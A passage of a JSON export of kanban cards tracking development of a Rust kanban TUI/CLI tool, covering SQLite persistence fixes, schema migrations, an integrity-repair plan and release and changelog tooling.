        "description": "DomainError has typed helpers like board_not_found(), card_not_found(), column_not_found(), sprint_not_found(), archived_card_not_found(), tag_not_found() in error.rs. After PR #200, the command layer uses KanbanError::not_found(entity, id) instead. Audit whether the DomainError helpers are still used elsewhere — if not, remove them to reduce dead code.",
        "due_date": null,
        "id": "bb61213c-e021-4ecb-beb3-ea09df44742a",
        "points": 1,
        "position": 86,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856438743Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Remove unused DomainError convenience methods",
        "updated_at": "2026-04-04T23:44:58.502247640Z"
      },
      {
        "card_number": 143,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T23:37:15.162390Z",
        "created_at": "2025-12-04T22:35:04.074325Z",
        "description": "gg works to get to the bottom\n\nG doesnt work to get to the top\n",
        "due_date": null,
        "id": "c89e3ee2-dba2-4008-be8a-469abc42d680",
        "points": null,
        "position": 86,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "`gg` | `G` works poorly",
        "updated_at": "2025-12-19T23:37:15.162391Z"
      },
      {
        "card_number": 250,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T23:40:51.115978184Z",
        "description": "Sprint log fields (sprint_id, started_at, status) and edge fields (edge_type, direction) in upserts.rs use unwrap_or_default() which inserts empty strings into NOT NULL columns. On malformed JSON input this creates unloadable rows. Replace with required_str() for consistency.",
        "due_date": null,
        "id": "9081d6c2-1755-4031-b722-9cd4004fa996",
        "points": 2,
        "position": 87,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856519464Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Replace unwrap_or_default with required_str in SQLite upserts",
        "updated_at": "2026-04-04T23:44:58.529819733Z"
      },
      {
        "card_number": 151,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T23:40:03.832086Z",
        "created_at": "2025-12-17T00:57:48.068843Z",
        "description": "2025-12-17 01:58:29\n---\n\nThe time has come.\n\nIt is time to initiate the kanban cli for command line kanbanning\n\nOur first order of business is to look for abstraction oppurtunity and general cleanup of the codebase so that we can reuse functions in both the tui and the cli. And eventual api or whatever consumer we wish.\n\n---\n\nThe goal of this feature is to have a cli matching the abilities of the tui\n",
        "due_date": null,
        "id": "89f6cb27-161b-496a-8736-e7467e8c48a9",
        "points": null,
        "position": 87,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "kanban cli",
        "updated_at": "2025-12-19T23:40:03.832087Z"
      },
      {
        "card_number": 128,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T23:40:38.871324Z",
        "created_at": "2025-11-05T12:33:50.536195Z",
        "description": "we need a way to handle schema revisions.\n\nas we have recently noticed.\n\nDuring the change from board level sprint prefix settings to the fork with sprint fix and counters per prefix etc..\n\nwe broke the application during import of the old schema\n\nwe should introduce versioning of the schema? and do migrations from version x -> y\n\n2025-12-16 03:03:18\n---\n\nsomewhere along the line we implemented v2 of the json schema\n\nThere is a bug with starting the app and providing a file path to a non existant file\n\nI think we take on this next\n",
        "due_date": null,
        "id": "7a9bfecc-6ed4-41d8-81ba-8a2dbb51e345",
        "points": null,
        "position": 88,
        "priority": "Medium",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264737Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245017Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264737Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "migrations one",
        "updated_at": "2025-12-19T23:40:38.871324Z"
      },
      {
        "card_number": 251,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T23:40:54.380025010Z",
        "description": "Fields like sprint_name_used_count, next_sprint_number, counter are cast from i64 to i32 via 'as i32' without validation. Apply i32::try_from() with proper error propagation like the points field already does.",
        "due_date": null,
        "id": "8c348211-1681-4dc2-a62b-4bc110b8355e",
        "points": 1,
        "position": 88,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856379716Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add i32::try_from validation for integer casts in SQLite upserts",
        "updated_at": "2026-04-04T23:44:58.562582337Z"
      },
      {
        "card_number": 83,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T23:42:10.427707Z",
        "created_at": "2025-10-22T19:37:16.156456Z",
        "description": "In task details I would like to edit the meta data panel by json interface like we do in the board details\n\nthe current `e` binding that opens a dialog to set the points with will move to `p` and `e` will instead open up $EDITOR with the json for the task metadata\n",
        "due_date": null,
        "id": "522289ef-1126-4076-a192-85a4ea40570b",
        "points": 4,
        "position": 89,
        "priority": "Medium",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:23.898897Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155917Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:26.665302Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:23.898910Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264749Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:26.665309Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264749Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "editing task settings by json",
        "updated_at": "2025-12-19T23:42:10.427707Z"
      },
      {
        "card_number": 252,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T23:40:57.087069831Z",
        "description": "sqlite_store.rs rejects databases with a schema version newer than expected, but no test covers this. Add a test that sets schema_version=99 and verifies the error.",
        "due_date": null,
        "id": "24e69911-96e8-4f18-88c9-738c1717e259",
        "points": 1,
        "position": 89,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856450871Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add test for schema version too new error in SqliteStore",
        "updated_at": "2026-04-04T23:44:58.595348725Z"
      },
      {
        "card_number": 20,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-19T23:42:20.064240Z",
        "created_at": "2025-10-11T19:23:32.612472Z",
        "description": "Be able to drop a card \n",
        "due_date": null,
        "id": "8ecc1849-bde7-4f97-99f7-44b7d9158bbf",
        "points": 2,
        "position": 90,
        "priority": "Low",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448931Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155908Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:11.439761Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448932Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264733Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:11.439765Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264733Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Remove a card",
        "updated_at": "2025-12-19T23:42:20.064240Z"
      },
      {
        "card_number": 253,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T23:41:00.196647244Z",
        "description": "sync_table builds DELETE FROM x WHERE id NOT IN (?, ?...) with one placeholder per entity. Default limit is 999. Chunk deletes or use a temp table for large datasets.",
        "due_date": null,
        "id": "9575c91c-a5ad-4684-942a-0a0356817343",
        "points": 2,
        "position": 90,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856396416Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Chunk sync_table deletes to avoid SQLITE_LIMIT_VARIABLE_NUMBER",
        "updated_at": "2026-04-04T23:44:58.623542457Z"
      },
      {
        "card_number": 129,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-20T00:10:54.557844Z",
        "created_at": "2025-11-05T12:45:35.141584Z",
        "description": "as the versioning doesnt tell exaclty what version of the source code the application is.\n\nLet us include the commit hash of the build to kanban -V output\n\n```sh\ndotfiles [test] > kanban -V             \nkanban 0.1.11 506a0f7\n```\n\nThis example is with short commit but why not just make it long commit\n\nand even add the commit as seperate line\n\n```sh\ndotfiles [test] > kanban -V\nkanban 0.1.11 \ncommit: 506a0f7\n```\n\n2025-12-20 00:43:33\n---\n\nas releases are not on par with the `develop` branch. I would like to include the commit hash in the -V parameter to the app\n",
        "due_date": null,
        "id": "c716d996-f478-4b41-9edd-7632fdbcc7d2",
        "points": 1,
        "position": 91,
        "priority": "Low",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264699Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:46:16.108011Z",
            "status": "Active"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264699Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "include commit hash in -V",
        "updated_at": "2025-12-20T00:10:54.557845Z"
      },
      {
        "card_number": 254,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T23:41:01.196398430Z",
        "description": "Currently dispatch priority is determined by factory registration order. Add a numeric priority field to StoreFactory to make this explicit and less fragile.",
        "due_date": null,
        "id": "3afd25ac-95ca-423e-b13d-89c856d0fdb1",
        "points": 2,
        "position": 91,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856459038Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Make StoreRegistry priority explicit instead of registration order",
        "updated_at": "2026-04-04T23:44:58.651973193Z"
      },
      {
        "card_number": 255,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-29T23:52:57.754023107Z",
        "description": "In kanban-persistence-sqlite, edge weights are stored as f32 (REAL) and cast back to f64 on load. This causes precision loss for dependency graph edge weights. Currently documented in code comments as acceptable since weights are relative ordering hints, but should be tracked for potential future fix (store as f64 / DOUBLE).",
        "due_date": null,
        "id": "5e36d81f-4852-4c04-a313-bde2e684daf1",
        "points": 1,
        "position": 92,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856426678Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "SQLite edge weights lose precision due to f64-to-f32 cast",
        "updated_at": "2026-04-04T23:44:58.683051969Z"
      },
      {
        "card_number": 78,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-20T02:01:43.030502Z",
        "created_at": "2025-10-22T03:24:52.753403Z",
        "description": "Our test coverage is currently lacking.\n\nLet us try to hit more lines\n\nkan 64 we started\n---\n```sh\n═══════════════════════════════════════════════════════════════════════════════\n                     FEATURE IMPLEMENTATION COMPLETE ✅\n═══════════════════════════════════════════════════════════════════════════════\n\n⏺ 🎉 Complete Feature Implementation Summary\n\n  I've successfully implemented the card creation feature with comprehensive tests and\n  following all CONTRIBUTING.md guidelines:\n\n  ✅ 4 Atomic Commits Created\n\n  Feature Implementation (3 commits):\n  1. Helper method for getting focused column ID\n  2. Card creation in focused columns (Grouped & Kanban views)\n  3. Auto-complete cards in last column (when >2 columns)\n\n  Testing (1 commit):\n  4. 7 comprehensive integration tests covering all scenarios\n\n  ✅ Test Coverage\n\n  - 7 new integration tests - all passing ✓\n  - 32 total tests - all passing ✓\n  - Tests cover:\n    - Default first column creation\n    - Focused column creation (GroupedView & KanbanView)\n    - Auto-complete with 3+ columns\n    - No auto-complete with 2 or fewer columns\n    - Multiple cards in same column\n    - Edge cases\n\n  ✅ Code Quality\n\n  - Follows semantic commit format\n  - Each commit is independent and buildable\n  - No warnings or errors\n  - PR #62 has comprehensive description with What/Why/How sections\n  - All existing functionality preserved\n  ```\n",
        "due_date": null,
        "id": "b98a6b72-f3b0-464d-a904-37dcd2fb0eb9",
        "points": 3,
        "position": 92,
        "priority": "Medium",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264767Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245015Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264767Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "extend test coverage",
        "updated_at": "2025-12-20T02:01:43.030506Z"
      },
      {
        "card_number": 257,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-30T00:16:11.769841034Z",
        "description": "When migrating kanban data from JSON to SQLite, the migration fails with FOREIGN KEY constraint failed because the JSON store has no FK enforcement — orphaned references accumulate over time (e.g., cards pointing to deleted columns/sprints). Currently this requires manual data cleaning. We need a built-in utility to detect and repair these violations.\n\n## Approach\n\nAdd a `validate` function to `kanban-domain` (pure logic, no I/O) and a `Validate` CLI subcommand. Also integrate validation into `migrate` so it auto-repairs before saving.\n\n## FK Relationships to Validate\n\n- `column.board_id` → boards (CASCADE → Remove column)\n- `sprint.board_id` → boards (CASCADE → Remove sprint)\n- `card.column_id` → columns (CASCADE → Remove card)\n- `card.sprint_id` → sprints (SET NULL → Set to None)\n- `board.active_sprint_id` → sprints (SET NULL → Set to None)\n- `board.completion_column_id` → columns (SET NULL → Set to None)\n- `archived_card.card.column_id` → columns (CASCADE → Remove archived card)\n- `archived_card.original_column_id` → columns (Not blocking, no FK in schema)\n- `graph edges` source/target → cards (Remove edge)\n\n## Implementation\n\n### Step 1: crates/kanban-domain/src/integrity.rs (new file)\n\nTypes: IntegrityReport, Violation, ViolationKind enum covering all FK relationships.\n\nTwo public functions:\n- `validate(snapshot: &Snapshot) -> IntegrityReport` — builds HashSet<Uuid> per entity type, checks all references\n- `repair(snapshot: &mut Snapshot) -> RepairSummary` — validates, then applies fixes in cascade order (parents first): remove orphaned columns/sprints → recompute valid sets → remove orphaned cards → null dangling refs → remove orphaned archived cards → remove dangling edges\n\n### Step 2: Register module in crates/kanban-domain/src/lib.rs\n\nAdd `pub mod integrity;` and re-export public types.\n\n### Step 3: Validate CLI subcommand in crates/kanban-cli/src/cli.rs\n\nAdd Validate(ValidateArgs) with --fix flag. Uses existing file argument from Cli.\n\n### Step 4: crates/kanban-cli/src/handlers/validate.rs (new file)\n\n1. Load store via make_store(file)\n2. Deserialize StoreSnapshot.data → Snapshot\n3. Call validate(&snapshot), print report\n4. If --fix and violations exist: call repair(&mut snapshot), re-serialize, save back\n\n### Step 5: Wire into crates/kanban-cli/src/main.rs\n\n### Step 6: Auto-repair in crates/kanban-cli/src/handlers/migrate.rs\n\nAfter loading snapshot, before saving to target: deserialize, validate, repair if needed, re-serialize, save.\n\n### Tests (TDD)\n\nUnit tests in integrity.rs:\n- test_validate_clean_snapshot_returns_no_violations\n- test_validate_card_with_missing_column_returns_orphaned_card\n- test_validate_card_with_missing_sprint_returns_dangling_ref\n- test_validate_column_with_missing_board_returns_orphaned_column\n- test_validate_board_with_missing_active_sprint_returns_dangling_ref\n- test_validate_edge_with_missing_card_returns_dangling_edge\n- test_validate_archived_card_with_missing_column_returns_violation\n- test_repair_removes_orphaned_cards\n- test_repair_nulls_dangling_sprint_refs\n- test_repair_cascades_column_removal_to_cards\n- test_repair_on_clean_snapshot_is_noop\n\nIntegration tests in validate.rs:\n- test_validate_reports_violations\n- test_validate_fix_repairs_and_saves\n- test_migrate_auto_repairs_violations\n\n## Key Files\n\n- crates/kanban-domain/src/integrity.rs (Create)\n- crates/kanban-domain/src/lib.rs (Edit)\n- crates/kanban-cli/src/cli.rs (Edit)\n- crates/kanban-cli/src/handlers/validate.rs (Create)\n- crates/kanban-cli/src/handlers/mod.rs (Edit)\n- crates/kanban-cli/src/handlers/migrate.rs (Edit)\n- crates/kanban-cli/src/main.rs (Edit)\n\n## Verification\n\n1. cargo test -p kanban-domain — unit tests pass\n2. cargo test -p kanban-cli — integration tests pass\n3. Manual: kanban kanban.json validate — reports violations\n4. Manual: kanban kanban.json validate --fix — repairs and saves\n5. Manual: kanban migrate --from kanban.json --to kanban.db — succeeds without manual cleanup",
        "due_date": null,
        "id": "6e21fdca-4151-47ec-9412-1f173cf91153",
        "points": 4,
        "position": 93,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856448887Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add referential integrity validation and repair utility",
        "updated_at": "2026-04-04T23:44:58.740006009Z"
      },
      {
        "card_number": 152,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-20T02:28:50.352652Z",
        "created_at": "2025-12-20T02:02:55.493122Z",
        "description": "I wonder if this has any other impact.\n\nAnywho\n\nI noticed with the mcp that it consumed way many tokens when just asking it to pick a card from the cards of a board.\n\nI think we make get cards omit the description of the card to lessen the json\n",
        "due_date": null,
        "id": "9c08bacc-4ec3-46a0-9eae-f35f3253ff2e",
        "points": null,
        "position": 93,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "dont include description of card for get cards ",
        "updated_at": "2025-12-20T02:28:50.352652Z"
      },
      {
        "card_number": 238,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-28T21:19:23.708802114Z",
        "description": "## Summary\n\nCHANGELOG.md entries should link to individual commits on GitHub. Each changelog line item gets a clickable short-hash link when aggregated.\n\n## Current State (Paused)\n\nInitial implementation landed but needs simplification before merging. The current approach embeds hashes in changeset files, which go stale on rebase and require a manual `--refresh` step. See \"Next Steps\" below for the better approach.\n\n### Commits on `develop` (to be reverted/reworked)\n\n- `0da3460` feat: append commit hashes to changeset entries and add --refresh flag\n- `3d7dd35` feat: convert commit hashes to clickable links in aggregate-changelog\n- `e8d2064` feat: convert commit hashes to clickable links in update-changelog\n- `7aa8e77` feat: validate commit hash format in CI changeset job\n- `b422699` docs: document commit hash format and --refresh flag in changeset README\n\n## Next Steps — Simplified Approach\n\n**Don't store hashes in changeset files.** Instead, derive them at merge time from `git log`.\n\n### What to revert\n- `create-changeset.sh`: remove `(%H)` from git log format, remove `--refresh` flag entirely\n- `ci.yml`: remove commit hash validation block and `fetch-depth: 0` on changeset job\n- `.changeset/README.md`: revert to original example without hashes\n\n### What to keep (with modification)\n- `aggregate-changelog.sh` and `update-changelog.sh`: keep `REPO_URL` derivation and link generation, but change hash source from parsing the changeset file to looking up commits by subject:\n\n```bash\nsubject=\"${line#- }\"\nhash=$(git log --all --format=\"%H\" --fixed-strings --grep=\"$subject\" -1)\nif [ -n \"$hash\" ]; then\n  short=\"${hash:0:7}\"\n  echo \"$line ([\\`$short\\`]($REPO_URL/commit/$hash))\"\nelse\n  echo \"$line\"\nfi\n```\n\n### Why this is better\n- Changeset files stay clean (just `- feat: description`)\n- No staleness after rebase — hashes derived at merge time are always correct\n- No `--refresh` flag needed\n- No CI validation needed\n- Manual entries without matching commits pass through unchanged",
        "due_date": null,
        "id": "83e37309-1ff5-47f2-91a4-70695a200882",
        "points": 3,
        "position": 94,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856367901Z",
            "status": "Planning"
          }
        ],
        "status": "Blocked",
        "title": "Add commit hash references to changeset system",
        "updated_at": "2026-04-04T23:35:37.856369073Z"
      },
      {
        "card_number": 139,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-20T10:08:42.489300Z",
        "created_at": "2025-12-04T21:30:21.011908Z",
        "description": null,
        "due_date": null,
        "id": "b818d480-5b41-41b7-aa8b-ae599a443247",
        "points": 1,
        "position": 94,
        "priority": "Low",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264696Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:59:06.363678Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264696Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "if no sprints, cant scroll to column settings",
        "updated_at": "2025-12-20T10:08:42.489302Z"
      },
      {
        "card_number": 266,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:05.849774025Z",
        "description": "In crates/kanban-cli/src/handlers/migrate.rs, a StoreRegistry is built 4 separate times: line 6 (default_registry()), line 42 (make_store -> default_registry()), line 45 (make_store_for_backend -> default_registry()), and line 61 (default_extension_for -> default_registry()). Instead, reuse the registry from line 6 for all operations: call registry.create_store() on line 42, registry.create_by_name() on line 45, and pass &registry into default_output_path. Alternatively, use a LazyLock in kanban-service. Ref: PR #205 review.",
        "due_date": null,
        "id": "e2a84330-04e7-4a0b-8950-54ef42838c03",
        "points": 1,
        "position": 95,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856431051Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Avoid rebuilding StoreRegistry multiple times in migrate handler",
        "updated_at": "2026-04-04T23:44:58.882482348Z"
      },
      {
        "card_number": 155,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-12-23T00:35:35.806108Z",
        "created_at": "2025-12-20T22:47:49.093885Z",
        "description": "Getting this ready for a new attempt of nixpkgs\n\nKAN-155/publish-new-version\n---\n\n> Getting this ready for a new attempt of nixpkgs\n> I would like to have a new version published in github tags and for all packages in crates.io\n> It should become v0.1.15 but there was a missmatch in our release pipelines. the publish failed last time around and I would rather like to get the stable publish up again\n\nI intend to do a release tonight. going to 0.1.15 from 0.1.14\n\nLast time we did the release it failed in some unforeseen way.\n\nI had intended to push 0.1.13 but it failed and on retry we ended up pushing 0.1.14\n\nversioning flows and the actual push flows. tags and crates. look for any logical flaws in the release.\n\nThese pages and the logs contained within may be able to give some clues in the pipe logs. \n\nhttps://github.com/fulsomenko/kanban/actions?page=5\nhttps://github.com/fulsomenko/kanban/actions?page=6\n\n----\n\nWe ended up releasing 0.1.14 -> 0.1.15 -> 0.1.16\n",
        "due_date": null,
        "id": "46168902-d495-4be0-afbc-03cf5435829b",
        "points": 3,
        "position": 95,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-12-23T00:34:54.645296Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "publish new version",
        "updated_at": "2025-12-23T00:37:14.657061Z"
      },
      {
        "card_number": 6,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-01-09T01:11:28.387265Z",
        "created_at": "2025-10-10T22:05:04.607714Z",
        "description": "Introduce two features\n\n# Block\n\n- Add blocked by card\n- Add create blocker. Creating the new card that would be the blocker.\n\n# Grouping of cards under one card\n\nI would like to keep things flat but I would like card meta data where I can group cards by a top level card.\n\nThe interface would present the grouping as nested to begin with and we see how it behaves?\n\nExample\n\n```\nImplement Card Grouping ...\n```\n\nWhich would when hit enter or space on expand into\n\n```\nImplement Card Grouping\n  Create ui\n  Add metadata\n```\n\n# Duplicate cards\n\nWhen two cards propose changes that are two sides of the same coin. Be able to add them as siblings. \n\nBut when two cards propose changes that are the same side of the same coin, we want to merge them together. Creating a new card by editing the description and title in a git conflict type way\n\nThe merging will ofcourse be handled by opening EDITOR and injecting the content into their respective section.\n\nExample\n---\n\nTitle\n\n```\n<<<<<<< KAN-0001\nCard Background\n=======\nCard Background Color\n>>>>>>> KAN-0002\n```\n\nDescription\n\n```\nWe want to introduce a new feature that\n<<<<<<< KAN-0001\nMakes card background purple\n=======\nMakes card background green\n>>>>>>> KAN-0002\n```\n",
        "due_date": null,
        "id": "e96684a5-4645-443e-8e2c-6bb646e248c6",
        "points": 5,
        "position": 96,
        "priority": "High",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448929Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155906Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:06.526717Z",
